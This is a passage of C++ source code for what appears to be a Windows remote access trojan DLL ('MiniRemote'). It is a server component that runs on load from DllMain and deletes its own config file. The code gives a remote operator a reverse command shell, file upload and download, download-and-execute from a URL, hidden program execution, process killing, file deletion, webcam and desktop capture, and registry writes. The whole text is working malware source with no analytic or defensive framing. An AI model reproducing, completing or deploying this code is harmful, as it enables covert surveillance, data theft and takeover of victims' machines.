	GetSystemDirectory(myFILE,MAX_PATH); 
	strcat(myFILE, "\\"); 
	strcat(myFILE, file); 
 
	HRESULT hr; 
	hr = URLDownloadToFile(0, url, myFILE, 0, 0); 
    if(hr!=S_OK) 
		return; 
	PROCESS_INFORMATION PI; 
	STARTUPINFO SI; 
	memset(&SI, 0, sizeof(SI)); 
	SI.cb = sizeof(SI); 
	CreateProcess(myFILE, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI); 
} 
 
void GethostInformation(SOCKET cs,COMMAND_MSG msg) 
{ 
	CInternetSession session; 
	CHttpFile *pFile=NULL; 
	try 
	{ 
		pFile=(CHttpFile*)session.OpenURL("http://union.itlearner.com/ip/getip.asp"); 
	} 
	catch(...)  
	{ 
		pFile=NULL; 
		delete session; 
	} 
	if(pFile) 
	{ 
		CString str; 
		if(pFile->ReadString(str)) 
		{ 
			CString ch1,ch2; 
			ch1=str.Mid(str.Find("所在区域:")+10); 
			ch2=ch1.Mid(0,ch1.GetLength()-strlen("\");")); 
			//strcpy(info.host_addr,ch2.GetBuffer(0)); 
		} 
		pFile->Close(); 
		delete pFile; 
		delete session; 
	} 
	TCHAR szTemp[MAX_PATH]; 
	DWORD len=sizeof(szTemp); 
	GetComputerName(szTemp,&len); 
	//strcpy(info.host_name,szTemp); 
} 
 
void RemoteCmdControl(int nPort) 
{ 
	WSADATA data; 
	WSAStartup(MAKEWORD(2,1),&data); 
	SOCKET m_hSocket = socket(PF_INET,SOCK_STREAM,0); 
	if(m_hSocket == INVALID_SOCKET) 
		return; 
	SOCKADDR_IN sockAddr; 
	memset(&sockAddr,0,sizeof(sockAddr)); 
	sockAddr.sin_family = AF_INET; 
	sockAddr.sin_addr.s_addr=inet_addr(m_hHost); 
	sockAddr.sin_port = htons((u_short)nPort); 
	BOOL isConnected = FALSE; 
	for(int i=0;i<5;i++) 
	{ 
		if(connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) 
			continue; 
		else 
		{ 
			isConnected = TRUE; 
			break; 
		} 
	} 
	if (!isConnected) 
		return; 
	CCmdShell cmdshell; 
	cmdshell.LetUsGo(m_hSocket); 
} 
 
void RecvCommand(SOCKET ss) 
{ 
	COMMAND_MSG msg; 
	BYTE *buf=(BYTE *)malloc(5120); 
	while(1) 
	{ 
		memset(buf,0,5120); 
		int nRet=recv(ss,(char *)buf,5120,NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				free(buf); 
				return; 
			} 
		} 
		else if(nRet != sizeof(COMMAND_MSG)) 
		{ 
			Sleep(50); 
			continue; 
		} 
		else 
		{ 
			memset(&msg,0,sizeof(COMMAND_MSG)); 
			memcpy(&msg,buf,sizeof(COMMAND_MSG)); 
			switch(msg.msg_id) 
			{ 
			case CMD_GETDRIVE: 
				ShowDriveList(ss,msg); 
				break; 
			case CMD_SHOWFILELIST: 
				ShowFileList(ss,msg); 
				break; 
			case CMD_PROCESSINFO: 
				ShowProcessInfo(ss,msg); 
				break; 
			case CMD_KILLPROCESS: 
				HANDLE hProcess; 
				hProcess=OpenProcess(PROCESS_QUERY_INFORMATION|SYNCHRONIZE|PROCESS_TERMINATE,FALSE,atoi(msg.wParam)); 
				if (hProcess==INVALID_HANDLE_VALUE) 
					break; 
				TerminateProcess(hProcess,1); 
				TerminateProcess(hProcess,0); 
				CloseHandle(hProcess); 
				break; 
			case CMD_UPLOADFILE: 
				CreateThread(0,0,(LPTHREAD_START_ROUTINE)UpLoadFile,(void *)&msg,0,NULL); 
				break; 
			case CMD_DOWNLOADFILE: 
				CreateThread(0,0,(LPTHREAD_START_ROUTINE)DownLoadFile,(void *)&msg,0,NULL); 
				break; 
			case CMD_REMOTERUN: 
				PROCESS_INFORMATION PI; 
				STARTUPINFO SI; 
				memset(&SI, 0, sizeof(SI)); 
				SI.cb = sizeof(SI); 
				if (!CreateProcess(NULL, msg.wParam, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI)) 
					ShellExecute(NULL, "open", msg.wParam, NULL,NULL, SW_HIDE); 
				break; 
			case CMD_FILEDEL: 
				DeleteFile(msg.wParam); 
				break; 
			case CMD_SETTING: 
				HKEY hKey; 
				DWORD dw; 
				if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, 
					"SOFTWARE\\Microsoft\\MiniRemote", 
					0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, 
					NULL,&hKey,&dw) == ERROR_SUCCESS) 
				{ 
					RegSetValueEx(hKey,"host_setting",0L,REG_SZ,(const BYTE *)msg.wParam,strlen(msg.wParam)); 
					RegCloseKey(hKey); 
				} 
				break; 
			case CMD_VIDEOCAPPREW: 
				CreateThread( 0,0,(LPTHREAD_START_ROUTINE)CapturePreview,(void *)msg.lParam,0,NULL); 
				break; 
			case CMD_REMOTEDESK: 
				CreateThread( 0,0,(LPTHREAD_START_ROUTINE)RemoteDesktopViewer,(void *)msg.lParam,0,NULL); 
				break; 
			case CMD_PLURLDOWNLOAD: 
				CreateThread( 0,0,(LPTHREAD_START_ROUTINE)UrlDownLoader,(void *)msg.wParam,0,NULL); 
				break; 
			case CMD_REMOTECMDCTRL: 
				CreateThread( 0,0,(LPTHREAD_START_ROUTINE)RemoteCmdControl,(void *)msg.lParam,0,NULL); 
				break; 
			case CMD_REMOVESERVER: 
				RemoveServer(); 
				break; 
			default: 
				break; 
			} 
		} 
	} 
} 
 
void GetIni() 
{ 
	char tempini[MAX_PATH]={0}; 
	GetSystemDirectory(tempini,MAX_PATH); 
	strcat(tempini,"\\mobb_ddx.ini"); 
 
	memset(&Server_Info,0,sizeof(_SERVER_DATA)); 
	Server_Info.ws_sleeptime=GetPrivateProfileInt("srv_info","ws_sleeptime",0,tempini); 
	Server_Info.ws_fortest = GetPrivateProfileInt("srv_info","ws_fortest",0,tempini); 
	 
	GetPrivateProfileString("srv_info","ws_up_url",NULL,Server_Info.ws_up_url,255,tempini); 
	GetPrivateProfileString("srv_info","ws_server_name",NULL,Server_Info.ws_server_name,80,tempini); 
	DeleteFile(tempini);//得到后就删除它。 
} 
 
HINSTANCE hDll = NULL; 
HANDLE hMutex=NULL; 
extern "C" int APIENTRY 
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 
{ 
	switch (dwReason) 
	{ 
    case DLL_PROCESS_ATTACH: 
        hDll = hInstance; 
		hMutex = CreateMutex(0,FALSE,"dddd  asdfddddf");//创建内何对象用于防止运行两次以上 
		if (GetLastError() == ERROR_ALREADY_EXISTS) 
		{ 
			ExitProcess(0); 
			exit(0); 
		} 
		GetIni(); 
		if (Server_Info.ws_fortest == 1) 
		{ 
			CreateThread(0,0,(LPTHREAD_START_ROUTINE)_self_start,NULL,0,NULL); 
			return 1; 
		} 
		CreateThread(0,0,(LPTHREAD_START_ROUTINE)_start,NULL,0,NULL); 
		break; 
	case DLL_PROCESS_DETACH: 
		break; 
    } 
	return 1; 
}